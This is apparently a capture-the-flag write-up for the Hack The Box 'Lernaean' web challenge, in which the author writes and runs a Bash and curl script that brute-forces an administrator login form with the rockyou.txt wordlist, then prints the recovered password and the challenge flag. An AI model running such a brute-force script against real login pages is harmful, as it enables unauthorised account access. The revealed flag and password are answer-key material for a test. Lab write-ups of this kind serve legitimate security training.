# Lernaean

![](https://615012413-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M7orQ6Q5b4Gm6_H3l8v%2F-M7uMS5hAsthQOb5WqeH%2F-M7uOJtIQg_VMF5kgsxF%2FLernean.png?alt=media\&token=1b82a16d-d48b-4a6c-860e-e0a1b074a762)

**URL:** [http://docker.hackthebox.eu:31027](http://docker.hackthebox.eu:31027)

## Overview

Not much of an "infocard" like with machines but at least you can see what it is about and the host and port to test.

Basically, this challenge looks to be dynamic at first when you start testing the page. The goal is to try and "guess" the administrator password.

**Let's get started!**

## The Challenge

![](https://615012413-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M7orQ6Q5b4Gm6_H3l8v%2F-M7uMS5hAsthQOb5WqeH%2F-M7uOih_kfq_q3Xj_FKK%2FLernean_Page.png?alt=media\&token=9f706b1a-d2bf-4445-9ee3-799d8419c62c)

At first glance, it doesn't look like much so I thought of looking at the source code, but not much either except for the password field where you can send a password through a HTTP POST Method. But we know this already!

```
<html>
<head>
    <title>Login - Lernaean</title>
</head>
<body style="background-color: #cd4e7b;">
    <center>
        <br><br><br>
        <h1><u>Administrator Login</u></h1>
        <h2>--- CONFIDENTIAL ---</h2>
        <h2>Please do not try to guess my password!</h2>
        <form method="POST">
            <input type="password" name="password"><br><br>
            <input type="submit" value="Submit">
        </form>
    </center>
</body>
</html>
```

But also, I thought of looking for anything interesting in the HTTP Request and Response, but nothing especial.

![](https://615012413-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M7orQ6Q5b4Gm6_H3l8v%2F-M7uMS5hAsthQOb5WqeH%2F-M7uOtq4h9PYIU0fWM0q%2FLernean_headers.png?alt=media\&token=45570966-a1d8-4b1b-9b6c-c98bc19f33f8)

Tried as well a basic SQL Injection but nothing either.

![](https://615012413-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M7orQ6Q5b4Gm6_H3l8v%2F-M7uMS5hAsthQOb5WqeH%2F-M7uOxyEA-q9rMKlqKGg%2FLernean_headers_SQL.png?alt=media\&token=15e8590f-33ab-4f14-ba1f-3e06868adb29)

![](https://615012413-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M7orQ6Q5b4Gm6_H3l8v%2F-M7uMS5hAsthQOb5WqeH%2F-M7uP03MfUk89vlIfDhv%2FLernean_headers_SQL2.png?alt=media\&token=78b38cb9-af95-4e9f-a037-116b0ea995da)

At this point, I can try with a random password even though it didn't give me much above. I tried _test123_, but didn't get anything other than an _Invalid password!_ message at the top.

![](https://615012413-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M7orQ6Q5b4Gm6_H3l8v%2F-M7uMS5hAsthQOb5WqeH%2F-M7uP4pv3Aue1YPA1AGo%2FLernean_test_resp2.png?alt=media\&token=e06deed9-baed-44a0-9cbf-a76d67b0b6fd)

```
Invalid password!
<html>
<head>
    <title>Login - Lernaean</title>
</head>
<body style="background-color: #cd4e7b;">
    <center>
        <br><br><br>
        <h1><u>Administrator Login</u></h1>
        <h2>--- CONFIDENTIAL ---</h2>
        <h2>Please do not try to guess my password!</h2>
        <form method="POST">
            <input type="password" name="password"><br><br>
            <input type="submit" value="Submit">
        </form>
    </center>
</body>
</html>
```

As you can see, the response didn't changed from before. Right now, I'm scratching my head and can only think of bruteforcing the page. What I'll do instead of relying on a tool, I will write my own Bash Script and see how far I can get to.

## Execution

The script will rely on using Curl and rockyou.txt. Also, the response will be sent to a file and will write over it through each iteration and compare the response against the word 'Invalid' from the previous response.

We know at this point we can send data to the password field in the HTTP Payload, so should be simple.

```
#!/bin/sh

ERROR="Invalid"

for PASS in $(cat /usr/share/wordlists/rockyou.txt)
do
        echo "\n### Testing password $PASS"

        (curl -X POST -d "password=$PASS" -s http://docker.hackthebox.eu:31027) > POST_Respose.txt

        grep -iq $ERROR ./POST_Respose.txt 
        if [ $? -ne 0 ]; then
                echo "\n"
                cat ./POST_Respose.txt
                exit 0;
        else
                echo "\nERROR: Invalid Password!"
        fi
done
```

#### Output Snippet:

```
kali@back0ff:~/Documents/HTB-Challenges/Lernean$ ./lernean.sh 

### Testing password 123456

ERROR: Invalid Password!

### Testing password 12345

ERROR: Invalid Password!

### Testing password 123456789

ERROR: Invalid Password!

### Testing password password

ERROR: Invalid Password!

### Testing password iloveyou

ERROR: Invalid Password!

.
.
.

### Testing password nicole1

ERROR: Invalid Password!

### Testing password 12345678910

ERROR: Invalid Password!
```

#### Flag:

AND right after testing with _12345678910_, it tests **leonardo** which seems to be the password. See below:

```
### Testing password leonardo


<h1 style='color: #fff;'>HTB{l1k3_4_b0s5_s0n}</h1><script type="text/javascript">
                   window.location = "noooooooope.html"
              </script>
<html>
<head>
    <title>Login - Lernaean</title>
</head>
<body style="background-color: #cd4e7b;">
    <center>
        <br><br><br>
        <h1><u>Administrator Login</u></h1>
        <h2>--- CONFIDENTIAL ---</h2>
        <h2>Please do not try to guess my password!</h2>
        <form method="POST">
            <input type="password" name="password"><br><br>
            <input type="submit" value="Submit">
        </form>
    </center>
</body>
</html>
```

As you notice in the response, we got the flag which is **HTB{l1k3\_4\_b0s5\_s0n}**

Hope you all enjoyed this!
